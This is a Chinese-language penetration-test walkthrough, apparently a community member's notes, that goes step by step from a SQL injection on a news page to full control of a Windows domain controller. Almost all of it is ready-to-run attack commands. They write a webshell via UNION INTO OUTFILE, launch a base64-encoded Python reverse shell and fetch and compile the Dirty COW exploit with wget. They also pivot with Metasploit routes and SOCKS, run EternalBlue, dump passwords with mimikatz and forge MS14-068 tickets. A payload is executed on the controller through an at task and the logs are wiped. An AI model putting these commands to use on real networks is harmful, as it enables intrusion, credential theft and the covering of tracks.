文章来自知识星球内部小伙伴-Cooo老哥,个人内网学习笔记投稿
通过Kali Linux拿到域控权限
使用dirbuster工具扫描网站根目录 设置kali默认字典文件
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
扫描获得phpinfo.php
得到网站绝对路径信息
通过测试发现存在sql整型注入报错情况,进一步获取webshell
通过sqlmap测试发现存在sql注入
sqlmap -u "http://IP:8888/newsshow.php?cid=4&id=19*" --dbms MYSQL -v3
这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap os-shell的功能
通过sqlmap获取命令执行会话
sqlmap -u "http://IP/newsshow.php?cid=4&id=19*" --dbms MYSQL -v3 --os-shell
http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d293f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'
为了更好做后续操作,进行反弹shell
os-shell> uname -a
os-shell> whereis python
由于网站上为linux默认安装python,可直接生成python反弹脚本
生成python反弹脚本
msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw
msf监听反向连接会话
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST IP
set LPORT 4444
run
msf监听快速启动
cat py_reverse_tcp.rc
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.17
set LPORT 4444
exploit
msfconsole -r py_reverse_tcp.rc
os-shell> python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCYjMzk7SVAmIzM5Oyw0NDQ0KSkNCgkJYnJlYWsNCglleGNlcHQ6DQoJCXRpbWUuc2xlZXAoNSkNCmw9c3RydWN0LnVucGFjaygmIzM5OyZndDtJJiMzOTsscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCndoaWxlIGxlbihkKSZsdDtsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7JiMzOTtzJiMzOTs6c30pDQo=')))"
使用已知漏洞提权
根据可已知内核漏洞下载对应的提权程序(该处使用脏牛内核提权)
cd /tmp/
wget --no-check-certificate https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
获得firefart用户,权限为root
su firefart
切换用户为firefart后,将passwd恢复,避免root用户无法使用
mv /tmp/passwd.bak /etc/passwd
通过查看网卡信息后发现存在内网地址信息
添加自动路由
meterpreter > run autoroute -s 10.0.1.0/24
meterpreter > run autoroute -p
使用msf做socks4代理
use auxiliary/server/socks4a
exploit -y
配置proxychains
vi /etc/proxychains.conf
socks4 127.0.0.1 1080
proxychains nmap -sT -Pn -n –p 22,23,389,445,1433,3306,3389 -T4 10.0.1.9
使用msf自带端口扫描模块,探测出10.0.1.9和10.0.1.254都存在445、3389端口。
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.1/24
set PORTS 21,22,23,80,389,445,873,1433,1521,2049,2181,2375,3306,3389,4899,5432,5631,5900,5938,5984,6379,8000,8080,7001,9080,9200,10051,11211,20880,27017,50070
set THREADS 10
exploit
使用msf框架扫描内网网段中存在MS17-010漏洞主机
use auxiliary/scanner/smb/smb_ms17_010
set RHOST 10.0.1.1-254
set threads 10
exploit
扫描可能存在ms17-010漏洞后,使用ms17-010攻击模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 10.0.1.9
run
meterpreter > sysinfo
加载mimikatz模块
meterpreter > load mimikatz
读取内存中存放的账号密码明文信息
meterpreter > wdigest
meterpreter > run post/windows/gather/enum_logged_on_users
#常用域内信息收集命令
net view /domain #查询域列表
net time /domain #从域控查询时间
net user /domain #查询域用户(当前域)
net group /domain #查询域工作组
net group "domain computers" /domain #查看加入域的所有计算机名
net group "domain admins" /domain #查询域管理员用户组和域管用户
进入10.0.1.9 cmd命令行模式,查询域控制器
meterpreter > shell
C:\Windows\system32> net group "domain controllers" /domain
C:\Windows\system32> ping dc1.kevin.com
C:\Windows\system32> net time /domain
proxychains python ms14-068.py -u xxx@xxx.com -s S-1-5-21-4289546598-4075965387-827630551-1111 -d 10.0.1.254 -p kevin@123
生成msf监听端口程序
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.0.1.254 LPORT=4444 -f exe -o /root/pykek/test.exe
新建一个msf会话监听正向连接payload
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.1.254
上传利用工具、ms14-086黄金票据到win7跳板机上
upload /root/pykek/TGT_xxx@xxx.com.ccache C:/users/kevin
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:/Users/kevin
upload /root/pykek/PsExec.exe C:/users/kevin
upload /root/pykek/test.exe c:/users/kevin
shell
在win7跳板机上执行
#清空票据
klist purge
#导入票据
cd c:/users/kevin
mimikatz.exe
kerberos::ptc TGT_xxx@xxx.com.ccache
再通过win7跳板机复制test.exe到域控c盘,并通过at命令添加定时任务执行test.exe
copy test.exe \\dc1.kevin.com\c$
dir \\dc1.kevin.com\c$
net time \\dc1.kevin.com
at \\dc1.kevin.com 15:42:00 c:\test.exe
查看当前域控at定时任务
at \\dc1.kevin.com
在域控at定时任务执行后,连接域控4444端口
netstat -ano |findstr "4444"
结束msf木马进程,删除exe进程
at \\dc1.kevin.com 16:23:00 cmd /c del c:\test.exe
删除win7工具
cd c:/users/kevin
rm TGT_xxx@xxx.com.ccache
rm mimikatz.exe
windows删除系统日志
clearev